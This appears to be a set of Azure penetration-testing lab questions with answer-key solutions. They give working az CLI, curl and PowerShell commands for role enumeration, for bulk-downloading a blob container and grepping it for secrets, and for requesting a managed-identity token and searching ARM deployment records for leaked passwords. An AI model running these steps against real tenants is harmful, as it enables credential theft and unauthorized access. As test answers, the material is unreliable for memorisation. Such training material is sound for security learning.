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SIMULATION
The App Service has a system-assigned managed identity enabled. Identify the managed identity principal ID.
b72a4c19-92f6-47f3-b3dd-9db5a31831d1
Detailed Solution:
Run:
az webapp identity show \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--output json
Expected output:
{
'principalId': 'b72a4c19-92f6-47f3-b3dd-9db5a31831d1',
'tenantId': '8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a',
'type': 'SystemAssigned'
}
The principalId is the service principal object ID of the managed identity.
Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.
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SIMULATION
Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an App Registration within the tenant. What is the Application/Client ID of the discovered App Registration?
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
--account-name excaliburstore \
--container-name sensitive-files \
--sas-token '$SAS' \
--query '[].name' \
--output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
--account-name excaliburstore \
--source sensitive-files \
--destination blobloot \
--sas-token '$SAS'
Search the downloaded files for application credentials:
grep -RniE 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' blobloot
On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' -CaseSensitive:$false
A typical file may look like this:
{
'tenantId': 'f015f36d-c07f-41fb-9bde-fffc3a22ee8b',
'clientId': '
'clientSecret': '
}
The clientId / appId value is the answer.
Final Answer:
Use the clientId / appId value found in the blob credential file.
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SIMULATION
A compromised principal has permission to list role assignments. Identify which user has the User Access Administrator role at the resource group scope.
olivia.admin@cloudcorpsec.onmicrosoft.com
Detailed Solution:
Run:
az role assignment list \
--resource-group rg-prod-apps-eastus \
--all \
--output table
Or filter by role:
az role assignment list \
--resource-group rg-prod-apps-eastus \
--role 'User Access Administrator' \
--query '[].{Principal:principalName,Role:roleDefinitionName,Scope:scope}' \
--output table
Expected output:
Principal Role Scope
------------------------------------- ------------------------- ----------------------------
olivia.admin@cloudcorpsec.onmicrosoft.com User Access Administrator /subscriptions/.../rg-prod-apps-eastus
Final answer:
olivia.admin@cloudcorpsec.onmicrosoft.com
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SIMULATION
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity.
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl '$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df' \
-H 'X-IDENTITY-HEADER: $IDENTITY_HEADER'
For Windows PowerShell inside Kudu:
$uri = '$env:IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df'
$response = Invoke-RestMethod -Uri $uri -Headers @{
'X-IDENTITY-HEADER' = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = '7403ec86-c39d-4d80-9efa-35c7580ecefa'
$rg = 'Excalibur-Resources'
Invoke-RestMethod `
-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01' `
-Headers @{ Authorization = 'Bearer $token' }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01' `
-Headers @{ Authorization = 'Bearer $token' }
For each deployment name returned, inspect it:
$deploymentName = '<deployment-name>'
Invoke-RestMethod `
-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01' `
-Headers @{ Authorization = 'Bearer $token' }
Also check deployment operations:
Invoke-RestMethod `
-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01' `
-Headers @{ Authorization = 'Bearer $token' }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H 'Authorization: Bearer $TOKEN' \
'https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/<deployment-name>/operations?api-version=2021-04-01' \
| jq '.. | strings' | grep -iE 'password|secret|credential|sumit|flag'
Final Answer:
Use the leaked secret/password value returned from the deployment metadat
a. Do not guess this; it is lab-generated.
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From inside the App Service environment, request an Azure Resource Manager token using the managed identity endpoint. Which resource value should be requested for Azure Resource Manager access?
A. https://graph.microsoft.com/ B. https://management.azure.com/ C. https://vault.azure.net/ D. https://storage.azure.com/
Detailed Solution:
For Azure Resource Manager API calls, the token audience/resource must be:
https://management.azure.com/
Inside App Service Kudu/console, request the token:
curl '$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/' \ -H 'X-IDENTITY-HEADER: $IDENTITY_HEADER'
The response contains:
{ 'access_token': '<jwt-token>', 'resource': 'https://management.azure.com/', 'token_type': 'Bearer' }
Correct option:
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